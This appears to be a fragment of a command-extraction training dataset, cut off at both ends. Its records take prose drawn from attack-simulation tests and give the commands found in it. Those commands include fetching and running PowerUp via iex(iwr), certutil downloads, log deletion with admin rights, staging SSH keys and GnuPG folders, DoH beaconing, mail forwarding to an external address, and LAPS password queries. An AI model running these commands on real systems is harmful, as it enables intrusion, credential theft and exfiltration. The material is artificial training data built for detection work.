\"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To copy a file from a remote server to your local machine, use the following command: sftp #{username}@#{remote_host}:#{remote_file} #{local_path}\n; To download a file from the web, you can utilize certutil's URL cache feature with the following command: cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}", "output": "{\"command_list\": [\"sftp #{username}@#{remote_host}:#{remote_file} #{local_path}\\n\", \"cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The system log file can be deleted by executing rm via osascript's shell script feature, which needs admin privileges, using the command: osascript -e 'do shell script \"rm #{system_log_path}\" with administrator privileges'\n; To delete the system log file via Finder, use the following command: osascript -e 'tell application \"Finder\" to delete POSIX file \"#{system_log_path}\"'", "output": "{\"command_list\": [\"osascript -e 'do shell script \\\"rm #{system_log_path}\\\" with administrator privileges'\\n\", \"osascript -e 'tell application \\\"Finder\\\" to delete POSIX file \\\"#{system_log_path}\\\"'\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To copy private SSH keys on a FreeBSD system to a staging folder, use the following command:\nmkdir #{output_folder}\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\;; The process involves creating a staging folder and copying GnuPG directories with this rsync command: mkdir #{output_folder}\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\;\nexit 0\n", "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\\\;\\n\", \"mkdir #{output_folder}\\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\\\;\\nexit 0\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To execute powershell.exe with variations of the -EncodedCommand parameter and encoded arguments, use the following command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop; To execute an arbitrary command with obfuscated PowerShell, which outputs \"Hello, from PowerShell!\", use the following command: powershell.exe -e #{obfuscated_code}", "output": "{\"command_list\": [\"Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop\", \"powershell.exe -e #{obfuscated_code}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To select desired ports for packet capture, use the following command: pktmon.exe filter add -p 445; To capture packets for a few seconds, you can use the following command: sudo #{program_path} -i #{ifname} -t 3", "output": "{\"command_list\": [\"pktmon.exe filter add -p 445\\n\", \"sudo #{program_path} -i #{ifname} -t 3\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test generates a high volume of DoH queries to evaluate detection thresholds, executed via the command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }; For simulating low-volume DoH beaconing to evade detection, first change directory to the Atomics folder and run this script: \nSet-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\n", "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\", \"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1572\\\\src\\\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To set up email forwarding to an external recipient, you can use the following command sequence: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"#{rule_name}\" -ForwardTo \"#{forwarding_email}\"\n; To perform basic permission groups discovery on Windows, use the following commands, which may display errors on non-domain computers and will show domain information when executed: net localgroup\nnet group /domain\nnet group \"enterprise admins\" /domain\nnet group \"domain admins\" /domain\n", "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nNew-InboxRule -Name \\\"#{rule_name}\\\" -ForwardTo \\\"#{forwarding_email}\\\"\\n\", \"net localgroup\\nnet group /domain\\nnet group \\\"enterprise admins\\\" /domain\\nnet group \\\"domain admins\\\" /domain\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For retrieving all AD computer properties including LAPS attributes, execute this PowerShell command: Get-ADComputer #{hostname} -Properties *; The PowerShell command Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime is used here to query LDAP and display Microsoft LAPS attributes.", "output": "{\"command_list\": [\"Get-ADComputer #{hostname} -Properties *\", \"Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If 